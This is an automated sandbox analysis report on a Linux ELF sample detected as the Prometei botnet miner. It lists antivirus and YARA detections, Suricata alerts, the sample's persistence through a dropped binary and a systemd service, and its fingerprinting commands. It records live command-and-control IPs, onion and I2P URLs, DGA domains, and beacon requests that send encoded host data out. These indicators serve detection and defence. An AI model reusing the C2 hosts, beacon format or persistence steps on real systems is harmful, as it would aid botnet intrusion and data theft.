Linux Analysis Report
na.elf

Overview

General Information

Sample name: na.elf
Analysis ID: 1655151
MD5: 891d909ae5ef43dd36730a643b2bb971
SHA1: 311c980c9262b1440ab8b1d26562f4cf911bc8c7
SHA256: 636247f84863abf34cb11b599e43f559c3182d8737553b37b4002fa31b27a0c3
Tags: elfuser-abuse_ch
Infos:

Detection

Prometei
Score: 100
Range: 0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Prometei
Drops files in suspicious directories
Executes the "dmidecode" command for reading DMI BIOS info like hardware or serial numbers (indicative of machine fingerprinting or VM-detection)
Found Tor onion address
Sample deletes itself
Sample is packed with UPX
Creates hidden files and/or directories
ELF contains segments with high entropy indicating compressed/encrypted content
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "pgrep" command search for and/or send signals to processes
Executes the "rm" command used to delete files or directories
Executes the "systemctl" command used for controlling the systemd system and service manager
Executes the "uname" command used to read OS and architecture name
HTTP GET or POST without a user agent
Reads CPU information from /proc indicative of miner or evasive malware
Reads CPU information from /sys indicative of miner or evasive malware
Reads system information from the proc file system
Sample contains only a LOAD segment without any section mappings
Sample listens on a socket
Sample tries to set the executable flag
Suricata IDS alerts with low severity for network traffic
Uses the "uname" system call to query kernel version information (possible evasion)
Writes ELF files to disk
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

AV Detection

barindex
Source: na.elf Avira: detected
Source: /usr/sbin/uplugplay Avira: detection malicious, Label: LINUX/GM.Agent.JQ
Source: na.elf Virustotal: Detection: 36% Perma Link
Source: na.elf ReversingLabs: Detection: 47%

Bitcoin Miner

barindex
Source: Yara match File source: Process Memory Space: na.elf PID: 6232, type: MEMORYSTR
Source: /usr/sbin/uplugplay (PID: 6289) Reads CPU info from proc file: /proc/cpuinfo Jump to behavior
Source: /usr/bin/pgrep (PID: 6236) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6246) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6289) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/uptime (PID: 6444) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/uptime (PID: 6456) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior

Networking

barindex
Source: Network traffic Suricata IDS: 2044560 - Severity 1 - ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern : 192.168.2.23:37541 -> 8.8.8.8:53
Source: Network traffic Suricata IDS: 2044560 - Severity 1 - ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern : 192.168.2.23:48435 -> 8.8.8.8:53
Source: Network traffic Suricata IDS: 2044560 - Severity 1 - ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern : 192.168.2.23:36205 -> 8.8.8.8:53
Source: na.elf, 6232.1.000000000052d000.0000000001575000.rw-.sdmp String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: na.elf, 6232.1.000000000052d000.0000000001575000.rw-.sdmp String found in binary or memory: nNhttp://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgihttp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi/usr/sbin/uplugplay/etc/uplugplay/etc/CommIdcrashed.dump/usr/sbin//etc/msdtcmsdtc2msdtc3/etc/pcc0/etc/pcc1pbdebug
Source: global traffic HTTP traffic detected: GET /cgi-bin/p.cgi?r=26&i=GF06IU0J3S4JPRDK HTTP/1.0Host: 152.36.128.18
Source: global traffic HTTP traffic detected: GET /cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCjMwNjQyOTYga0INCg0KDQoNCg0KVWJ1bnR1ICYgMjAuMDQuMiBMVFMgKEZvY2FsIEZvc3NhKSAgJiBidWxsc2V5ZS9zaWQgJiANCg0KL3Vzci9zYmluLw0KIDE5OjE4OjIyIHVwIDcgbWluLCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAyLjQ0LCAxLjAwLCAwLjQwfDE3NDM2Mzk1MDINCkxpbnV4IGdhbGFzc2lhIDUuNC4wLTcyLWdlbmVyaWMgIzgwLVVidW50dSBTTVAgTW9uIEFwciAxMiAxNzozNTowMCBVVEMgMjAyMSB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=GF06IU0J3S4JPRDK&h=galassia&enckey=qM3j1ojRUJRC6w6UtS9d27s4JGtexntrPWCMhtPrKsmd4uZC2Zn8SfVUhzv/U1f4FSAUSsxWiBqip9Eczp7QiF1BFzSXcAcwlHpukZdbUxcZc34UXpwvhNk+Xs8uoLZ+TrO8WaduYPMlRRsuq9OecPoXVcT8LnwGizgEuTAM8l0= HTTP/1.0Host: 152.36.128.18
Source: global traffic HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=GF06IU0J3S4JPRDK&enckey=qM3j1ojRUJRC6w6UtS9d27s4JGtexntrPWCMhtPrKsmd4uZC2Zn8SfVUhzv/U1f4FSAUSsxWiBqip9Eczp7QiF1BFzSXcAcwlHpukZdbUxcZc34UXpwvhNk-Xs8uoLZ-TrO8WaduYPMlRRsuq9OecPoXVcT8LnwGizgEuTAM8l0_ HTTP/1.0Host: xinchaoaccfea.net
Source: global traffic HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=GF06IU0J3S4JPRDK&enckey=qM3j1ojRUJRC6w6UtS9d27s4JGtexntrPWCMhtPrKsmd4uZC2Zn8SfVUhzv/U1f4FSAUSsxWiBqip9Eczp7QiF1BFzSXcAcwlHpukZdbUxcZc34UXpwvhNk-Xs8uoLZ-TrO8WaduYPMlRRsuq9OecPoXVcT8LnwGizgEuTAM8l0_ HTTP/1.0Host: xinaccfea.org
Source: /usr/sbin/uplugplay (PID: 6289) Socket: 0.0.0.0:89 Jump to behavior
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.23:35808 -> 85.214.228.140:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.23:58312 -> 152.36.128.18:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.23:52520 -> 34.229.166.50:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.23:58308 -> 152.36.128.18:80
Source: Network traffic Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.229.166.50:80 -> 192.168.2.23:52520
Source: Network traffic Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.229.166.50:80 -> 192.168.2.23:52520
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: global traffic HTTP traffic detected: GET /cgi-bin/p.cgi?r=26&i=GF06IU0J3S4JPRDK HTTP/1.0Host: 152.36.128.18
Source: global traffic HTTP traffic detected: GET /cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCjMwNjQyOTYga0INCg0KDQoNCg0KVWJ1bnR1ICYgMjAuMDQuMiBMVFMgKEZvY2FsIEZvc3NhKSAgJiBidWxsc2V5ZS9zaWQgJiANCg0KL3Vzci9zYmluLw0KIDE5OjE4OjIyIHVwIDcgbWluLCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAyLjQ0LCAxLjAwLCAwLjQwfDE3NDM2Mzk1MDINCkxpbnV4IGdhbGFzc2lhIDUuNC4wLTcyLWdlbmVyaWMgIzgwLVVidW50dSBTTVAgTW9uIEFwciAxMiAxNzozNTowMCBVVEMgMjAyMSB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=GF06IU0J3S4JPRDK&h=galassia&enckey=qM3j1ojRUJRC6w6UtS9d27s4JGtexntrPWCMhtPrKsmd4uZC2Zn8SfVUhzv/U1f4FSAUSsxWiBqip9Eczp7QiF1BFzSXcAcwlHpukZdbUxcZc34UXpwvhNk+Xs8uoLZ+TrO8WaduYPMlRRsuq9OecPoXVcT8LnwGizgEuTAM8l0= HTTP/1.0Host: 152.36.128.18
Source: global traffic HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=GF06IU0J3S4JPRDK&enckey=qM3j1ojRUJRC6w6UtS9d27s4JGtexntrPWCMhtPrKsmd4uZC2Zn8SfVUhzv/U1f4FSAUSsxWiBqip9Eczp7QiF1BFzSXcAcwlHpukZdbUxcZc34UXpwvhNk-Xs8uoLZ-TrO8WaduYPMlRRsuq9OecPoXVcT8LnwGizgEuTAM8l0_ HTTP/1.0Host: xinchaoaccfea.net
Source: global traffic HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=GF06IU0J3S4JPRDK&enckey=qM3j1ojRUJRC6w6UtS9d27s4JGtexntrPWCMhtPrKsmd4uZC2Zn8SfVUhzv/U1f4FSAUSsxWiBqip9Eczp7QiF1BFzSXcAcwlHpukZdbUxcZc34UXpwvhNk-Xs8uoLZ-TrO8WaduYPMlRRsuq9OecPoXVcT8LnwGizgEuTAM8l0_ HTTP/1.0Host: xinaccfea.org
Source: global traffic DNS traffic detected: DNS query: xinchaoaccfea.com
Source: global traffic DNS traffic detected: DNS query: xinchaoaccfea.net
Source: global traffic DNS traffic detected: DNS query: xinaccfea.org
Source: na.elf, uplugplay.12.dr String found in binary or memory: http://152.36.128
Source: na.elf, 6232.1.000000000052d000.0000000001575000.rw-.sdmp String found in binary or memory: http://152.36.128.18/cgi-bin/p.cgi
Source: na.elf, 6232.1.000000000052d000.0000000001575000.rw-.sdmp String found in binary or memory: http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.oni
Source: na.elf, 6232.1.000000000052d000.0000000001575000.rw-.sdmp String found in binary or memory: http://dummy.zero/cgi-bin/prometei.cgi
Source: na.elf, 6232.1.000000000052d000.0000000001575000.rw-.sdmp String found in binary or memory: http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi
Source: na.elf, uplugplay.12.dr String found in binary or memory: http://upx.sf.net
Source: na.elf, 6232.1.000000000052d000.0000000001575000.rw-.sdmp String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 39248 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 39248
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

barindex
Source: na.elf, type: SAMPLE Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
Source: 6232.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY Matched rule: Linux_Hacktool_Flooder_1a4eb229 Author: unknown
Source: 6232.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY Matched rule: Linux_Hacktool_Flooder_f454ec10 Author: unknown
Source: 6232.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORY Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
Source: /usr/sbin/uplugplay, type: DROPPED Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
Source: LOAD without section mappings Program segment: 0x400000
Source: na.elf, type: SAMPLE Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
Source: 6232.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY Matched rule: Linux_Hacktool_Flooder_1a4eb229 reference_sample = bf6f3ffaf94444a09b69cbd4c8c0224d7eb98eb41514bdc3f58c1fb90ac0e705, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = de076ef23c2669512efc00ddfe926ef04f8ad939061c69131a0ef9a743639371, id = 1a4eb229-a194-46a5-8e93-370a40ba999b, last_modified = 2021-09-16
Source: 6232.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY Matched rule: Linux_Hacktool_Flooder_f454ec10 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 0297e1ad6e180af85256a175183102776212d324a2ce0c4f32e8a44a2e2e9dad, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = 2ae5e2c3190a4ce5d238efdb10ac0520987425fb7af52246b6bf948abd0259da, id = f454ec10-7a67-4717-9e95-fecb7c357566, last_modified = 2022-01-26
Source: 6232.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORY Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
Source: /usr/sbin/uplugplay, type: DROPPED Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
Source: classification engine Classification label: mal100.troj.evad.linELF@0/5@5/0

Data Obfuscation

barindex
Source: initial sample String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample String containing UPX found: $Id: UPX 4.24 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $
Source: /usr/bin/pidof (PID: 6240) Directory: //. Jump to behavior
Source: /usr/bin/pidof (PID: 6250) Directory: //. Jump to behavior
Source: /usr/bin/pidof (PID: 6260) Directory: //. Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 6295) Directory: <invalid fd (10)>/.. Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/6232/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/6232/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1582/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1582/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/3088/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/3088/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/230/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/230/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/110/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/110/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/231/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/231/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/111/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/111/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/232/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/232/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1579/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1579/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/112/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/112/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/233/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/233/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1699/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1699/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/113/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/113/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/234/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/234/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1335/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1335/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1698/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1698/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/114/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/114/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/235/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/235/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1334/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1334/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1576/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1576/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/2302/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/2302/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/115/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/115/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/236/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/236/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/116/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/116/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/237/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/237/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/117/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/117/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/118/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/118/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/910/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/910/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/119/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/119/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/912/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/912/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/10/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/10/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/2307/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/2307/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/11/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/11/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/918/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/918/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/12/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/12/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/13/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/13/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/14/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/14/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/15/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/15/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/16/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/16/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/17/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/17/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/18/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/18/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/6004/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/6004/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1594/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1594/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/120/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/120/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/121/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/121/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1349/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1349/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/1/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/122/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/122/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/243/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/243/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/123/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/123/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/2/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/2/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/124/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/124/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/3/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6254) File opened: /proc/3/cmdline Jump to behavior
Source: /tmp/na.elf (PID: 6235) Shell command executed: sh -c "pgrep na.elf" Jump to behavior
Source: /tmp/na.elf (PID: 6239) Shell command executed: sh -c "pidof na.elf" Jump to behavior
Source: /tmp/na.elf (PID: 6245) Shell command executed: sh -c "pgrep uplugplay" Jump to behavior
Source: /tmp/na.elf (PID: 6249) Shell command executed: sh -c "pidof uplugplay" Jump to behavior
Source: /tmp/na.elf (PID: 6253) Shell command executed: sh -c "pgrep upnpsetup" Jump to behavior
Source: /tmp/na.elf (PID: 6259) Shell command executed: sh -c "pidof upnpsetup" Jump to behavior
Source: /tmp/na.elf (PID: 6262) Shell command executed: sh -c "systemctl daemon-reload" Jump to behavior
Source: /tmp/na.elf (PID: 6277) Shell command executed: sh -c "systemctl enable uplugplay.service" Jump to behavior
Source: /tmp/na.elf (PID: 6284) Shell command executed: sh -c "systemctl start uplugplay.service" Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6288) Shell command executed: sh -c "/usr/sbin/uplugplay -Dcomsvc" Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6293) Shell command executed: sh -c hostnamectl Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6383) Shell command executed: sh -c hostnamectl Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6439) Shell command executed: sh -c "dmidecode --type baseboard" Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6443) Shell command executed: sh -c uptime Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6447) Shell command executed: sh -c dmidecode Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6451) Shell command executed: sh -c "uname -a" Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6455) Shell command executed: sh -c uptime Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6459) Shell command executed: sh -c "uname -a" Jump to behavior
Source: /bin/sh (PID: 6236) Pgrep executable: /usr/bin/pgrep -> pgrep na.elf Jump to behavior
Source: /bin/sh (PID: 6246) Pgrep executable: /usr/bin/pgrep -> pgrep uplugplay Jump to behavior
Source: /bin/sh (PID: 6254) Pgrep executable: /usr/bin/pgrep -> pgrep upnpsetup Jump to behavior
Source: /usr/bin/dash (PID: 6515) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.dE5I1igGXB /tmp/tmp.n8PtKRtnrc /tmp/tmp.MOtoV1L21A Jump to behavior
Source: /usr/bin/dash (PID: 6516) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.dE5I1igGXB /tmp/tmp.n8PtKRtnrc /tmp/tmp.MOtoV1L21A Jump to behavior
Source: /bin/sh (PID: 6263) Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload Jump to behavior
Source: /bin/sh (PID: 6278) Systemctl executable: /usr/bin/systemctl -> systemctl enable uplugplay.service Jump to behavior
Source: /bin/sh (PID: 6285) Systemctl executable: /usr/bin/systemctl -> systemctl start uplugplay.service Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6289) Reads from proc file: /proc/cpuinfo Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6289) Reads from proc file: /proc/stat Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6289) Reads from proc file: /proc/meminfo Jump to behavior
Source: /tmp/na.elf (PID: 6232) File: /usr/sbin/uplugplay (bits: -v usr: x grp: x all: r) Jump to behavior
Source: /tmp/na.elf (PID: 6232) File written: /usr/sbin/uplugplay Jump to dropped file
Source: submitted sample Stderr: Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.: exit code = 0

